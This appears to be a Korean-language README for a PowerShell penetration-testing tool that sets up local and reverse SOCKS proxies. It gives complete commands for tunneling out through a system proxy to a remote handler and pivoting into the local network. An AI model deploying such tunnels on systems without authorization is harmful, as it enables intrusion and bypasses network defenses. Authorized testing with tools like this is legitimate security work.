
PowerShell을 사용한 Socks 프록시 및 리버스 Socks 서버.
로컬 또는 '리버스' Socks 프록시를 PowerShell을 사용하여 생성합니다.
로컬 프록시는 간단한 Socks 4/5 프록시입니다.
리버스 프록시는 시스템 프록시를 통과할 수 있는 아웃바운드 SSL 연결을 시작하여 TCP 터널을 생성합니다. 그런 다음 이 터널은 원격 호스트에서 Socks 프록시로 사용되어 로컬 호스트의 네트워크로 피벗할 수 있습니다.
포트 1080에서 Socks 4/5 프록시 생성:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080
최대 스레드 수를 200에서 400으로 증가
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -threads 400
원격 호스트의 포트 1080에서 '리버스' Socks 4/5 프록시 생성:
# On the remote host:
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
# Start the handler
python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
System Proxy 트릭에 대한 크레딧: https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1
이 프로젝트는 보안 연구원 및 침투 테스터를 대상으로 하며, 시스템 소유자의 승인 하에만 사용해야 합니다.